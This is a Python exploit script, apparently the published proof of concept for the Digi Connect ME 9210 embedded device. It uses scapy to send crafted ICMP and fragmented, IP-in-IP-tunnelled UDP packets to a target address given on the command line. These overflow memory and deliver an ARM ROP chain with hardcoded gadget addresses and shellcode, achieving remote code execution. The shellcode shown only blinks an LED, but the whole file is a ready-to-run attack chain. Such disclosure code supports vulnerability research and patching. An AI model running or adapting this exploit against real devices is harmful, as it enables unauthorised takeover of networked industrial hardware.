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digi_connect_exploit.py
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digi_connect_exploit.py
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# Copyright (c) 2020 JSOF Ltd.
# Available under MIT License
#
# Authors: Moshe Kol, Shlomi Oberman
from scapy.all import *
import argparse
import threading
import struct
VERBOSE_LEVEL = 0
MALFORMED_THREAD_FLAG = False
BENIGN_THREAD_FLAG = False
FRAG_TTL = 4
def vprint(*args, **kwargs):
if VERBOSE_LEVEL > 0:
print(*args, **kwargs)
def log_status(*args, **kwargs):
vprint("[x]", *args, **kwargs)
def log_success(*args, **kwargs):
vprint("[+]", *args, **kwargs)
def log_failure(*args, **kwargs):
vprint("[-]", *args, **kwargs)
def log_info(*args, **kwargs):
vprint("[*]", *args, **kwargs)
def log_warning(*args, **kwargs):
vprint("[!]", *args, **kwargs)
def log_debug(*args, **kwargs):
vprint("[DEBUG]", *args, **kwargs)
def p32(b):
return struct.pack(">I", b) # big-endian
# desired allocation size -> payload size
PAYLOAD_SIZES = {
0x100: 4,
0x200: 120,
0x400: 400,
}
class Attack:
def __init__(self, iface, ip_dst, udp_dport, udp_sport):
self.iface = iface
self.ip_dst = ip_dst
self.udp_dport = udp_dport
self.udp_sport = udp_sport
self.sock = conf.L3socket(iface=iface)
def send_benign_udp(self, payload_size, count):
global BENIGN_THREAD_FLAG
pkt = IP(dst=self.ip_dst)
pkt /= UDP(sport=self.udp_sport, dport=self.udp_dport)
pkt /= (b'X'*payload_size)
it_num = 0
while count < 0 or it_num < count:
self.sock.send(pkt)
it_num += 1
if BENIGN_THREAD_FLAG:
break
def send_benign_udp_ex(self, payload_size, count, timeout, thread_count=4):
global BENIGN_THREAD_FLAG
if count >= 0:
assert count >= 2*thread_count
else:
assert timeout > 0
log_status("Sending {} benign udp packets with payload size {}".format(count if count >= 0 else "infinite", payload_size))
bthreads = []
for _ in range(thread_count):
t = threading.Thread(target=Attack.send_benign_udp,
args=(self, payload_size, count//thread_count))
bthreads.append(t)
t.start()
if timeout > 0:
time.sleep(timeout)
BENIGN_THREAD_FLAG = True
for t in bthreads:
t.join()
def send_malformed(self, payload, count, delay=0):
global MALFORMED_THREAD_FLAG
assert len(payload) >= 12
iplen = 32
encap_packet = IP(dst=self.ip_dst, len=iplen)
encap_packet /= UDP(sport=self.udp_sport, dport=self.udp_dport, chksum=0, len=iplen-20)
encap_packet /= payload
frag1_data_len = 40
frag1 = IP(dst=self.ip_dst, frag=0, flags=1, proto=4, id=0)
frag1 /= bytes(encap_packet)[:frag1_data_len]
frag2 = IP(dst=self.ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0)
frag2 /= bytes(encap_packet)[frag1_data_len:]
ip_id = int(RandShort())
it_num = 0
while count < 0 or it_num < count:
frag1[IP].id = ip_id
frag2[IP].id = ip_id
self.sock.send(frag1)
self.sock.send(frag2)
it_num += 1
ip_id = (ip_id + 1) % 0x10000
if delay > 0:
time.sleep(delay)
if MALFORMED_THREAD_FLAG:
break
def send_malformed_ex(self, payload, count, delay, timeout, thread_count=1):
global MALFORMED_THREAD_FLAG
if count < 0:
assert timeout > 0
log_status("Sending {} malformed packet with payload size {}".format(count if count >= 0 else "infinite", len(payload)))
mthreads = []
for _ in range(thread_count):
t = threading.Thread(target=Attack.send_malformed,
args=(self, payload, count, delay))
mthreads.append(t)
t.start()
if timeout > 0:
time.sleep(timeout)
MALFORMED_THREAD_FLAG = True
for t in mthreads:
t.join()
def overflow(self, payload, malformed_delay, malformed_count=-1, malformed_thread_count=1, benign_count=-1, benign_thread_count=1, timeout=5, allocation_size=0x100):
log_info("Timeout: {}".format(timeout))
bthread = threading.Thread(target=Attack.send_benign_udp_ex,
args=(self, PAYLOAD_SIZES[allocation_size << 1], benign_count, timeout, benign_thread_count))
bthread.start()
mthread = threading.Thread(target=Attack.send_malformed_ex,
args=(self, payload, malformed_count, malformed_delay, timeout, malformed_thread_count))
mthread.start()
bthread.join()
mthread.join()
def stage_1(self, icmp_count=32):
log_status("===== Stage 1 =====")
log_status("Sending {} ICMP echo request packets...".format(icmp_count))
echo_request = IP(dst=self.ip_dst)/ICMP()
for _ in range(icmp_count):
self.sock.send(echo_request)
log_success("Finish ICMP echo request")
log_status("Sending 5 half-open fragments...")
half_frag_echo_request = IP(dst=self.ip_dst, flags=1)/ICMP()
for ip_id in range(1,6):
half_frag_echo_request[IP].id = ip_id
self.sock.send(half_frag_echo_request)
log_status("Waiting for fragment reassembly time exceeded...")
time.sleep(FRAG_TTL + 1)
log_status("Sending 2 half-open fragments...")
for ip_id in range(6,8):
half_frag_echo_request[IP].id = ip_id
self.sock.send(half_frag_echo_request)
log_status("Waiting for fragment reassembly time exceeded...")
time.sleep(FRAG_TTL + 1)
def stage_2(self, address):
log_status("===== Stage 2 =====")
# The rop chain need to be written in the given address
# therefore we need to adjust the address
address = address - 0xa0
payload = b'A'*92 + p32(0x111) + p32(0x108) + p32(0x100) + p32(address)
self.overflow(payload,
malformed_delay=0.001,
malformed_count=-1,
malformed_thread_count=1,
benign_count=-1,
benign_thread_count=1,
timeout=5)
def stage_3(self, rop):
assert len(rop) % 4 == 0
log_status("===== Stage 3 =====")
time.sleep(1)
log_status("Sending half-open IP packet fragments to generate ICMP error and drop ROP chain")
pkt = IP(ihl=0xf, dst=self.ip_dst, flags=1, proto=1, options=[b'\x00\x00\x00\x00' + rop[:36]])
pkt /= rop[36:]
for ip_id in range(0x8000, 0x8000+3):
pkt[IP].id = ip_id
self.sock.send(pkt)
def attack(self, stage=0):
log_status("Attacking Digi Connect ME 9210...")
# Led 2 blinks indefinitely
# shellcode size: 0x54
shellcode = b'\xe5\x9f\x80\x44\xe5\x9f\x90\x44\xe3\xa0\x00\x00\xe3\xa0\x10\x01'
shellcode += b'\xe3\xa0\x20\x00\xe1\xa0\xe0\x0f\xe1\x2f\xff\x18\xe3\xa0\x00\x64'
shellcode += b'\xe1\xa0\xe0\x0f\xe1\x2f\xff\x19\xe3\xa0\x00\x00\xe3\xa0\x10\x01'
shellcode += b'\xe3\xa0\x20\x01\xe1\xa0\xe0\x0f\xe1\x2f\xff\x18\xe3\xa0\x00\x64'
shellcode += b'\xe1\xa0\xe0\x0f\xe1\x2f\xff\x19\xea\xff\xff\xee\x00\x02\x83\x94'
shellcode += b'\x00\x06\x28\x5c'
stack_address_to_overwrite = 0x1a5330
gadget1 = 0x0002f95c # 0x0002f95c: mov r2, r5; mov lr, pc; bx r7;
gadget2 = 0x0002f954 # 0x0002f954: mov r0, r4; mov r1, r6; mov r2, r5; mov lr, pc; bx r7;
gadget3 = 0x00034ec8 # 00034ec8 e1 2f ff 18 bx r8
gadget4 = 0x0000681c # 0000681c e8 bd 8f f1 ldmia sp!,{r0 r4 r5 r6 r7 r8 r9 r10 r11 pc }
gadget5 = 0x000d1c84 # mov lr, pc; bx r3; mov r0, r4; pop {r4, pc};
gadget6 = 0x000267e4 # pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip, lr}; mov pc, lr;
memcpy = 0x0000674c # memcpy address after push register
tfTcpRestart2Msl = 0x0004a8ac
ProcessorGpioSetOutputValue = 0x00028394
tx_thread_sleep = 0x0006285c
rop = bytearray()
rop += p32(stack_address_to_overwrite + 44) # r0
rop += p32(0) # r4
rop += p32(0) # r5
rop += p32(0) # r6
rop += p32(memcpy) # r7
rop += p32(0) # r8
rop += p32(0) # r9
rop += p32(0) # r10
rop += p32(0) # r11
rop += p32(gadget1) # pc
rop += p32(0) # r0
rop += p32(0) # r4
rop += p32(0) # r5
rop += p32(0) # r6
rop += p32(0) # r7
rop += p32(0) # r8
rop += p32(0) # r9
rop += p32(0) # r10
rop += p32(0) # r11
rop += p32(gadget6) # pc
rop += p32(100) # r0
rop += p32(0) # r1
rop += p32(0) # r2
rop += p32(tx_thread_sleep) # r3
rop += p32(0) # r4
rop += p32(0) # r5
rop += p32(0) # r6
rop += p32(0) # r7
rop += p32(0) # r8
rop += p32(0) # r9
rop += p32(0) # r10
rop += p32(0) # r11
rop += p32(0) # r12
rop += p32(gadget5) # lr
rop += p32(0) # r4
shellcode_address = stack_address_to_overwrite + len(rop) + 4
rop += p32(shellcode_address) # pc
rop += shellcode
rop[8:12] = p32(len(rop) - 44)
self.stage_1()
self.stage_2(stack_address_to_overwrite)
self.stage_3(bytes(rop))
if __name__ == '__main__':
conf.verb = 0 # make scapy silent
parser = argparse.ArgumentParser()
parser.add_argument('ip_dst', help="destination IP address")
parser.add_argument('udp_dport', type=int, default=2362, nargs='?',
help="destination UDP port (Default: 2362 (digiman))")
parser.add_argument('udp_sport', type=int, default=7, nargs='?',
help="source UDP port (Default: 7)")
parser.add_argument('-i', '--iface', default=None, nargs='?',
help="interface name as shown in scapy's show_interfaces() function")
parser.add_argument('-og', '--override-gateway', dest='gw', default='use_ip_dst', const=None, type=str, nargs='?',
help='override gateway for ip_dst in scapy routing table (Default: override with ip_dst, use -og to disable overriding)')
parser.add_argument('-v', '--verbose', default=0, action='count',
help="how much output you'd like")
parser.add_argument('-s', '--stage', dest='stage', default=0, type=int, help='which stage to invoke (0 for all stages)')
args = parser.parse_args()
gw = None
if args.gw:
if args.gw == 'use_ip_dst':
gw = args.ip_dst
else:
gw = args.gw
if gw:
conf.route.add(host=(args.ip_dst), gw=gw)
iface = args.iface
if iface is not None and iface.isdigit():
iface = IFACES.dev_from_index(int(iface)).description
VERBOSE_LEVEL = args.verbose
attck = Attack(iface,
args.ip_dst,
args.udp_dport,
args.udp_sport)
attck.attack(stage=args.stage)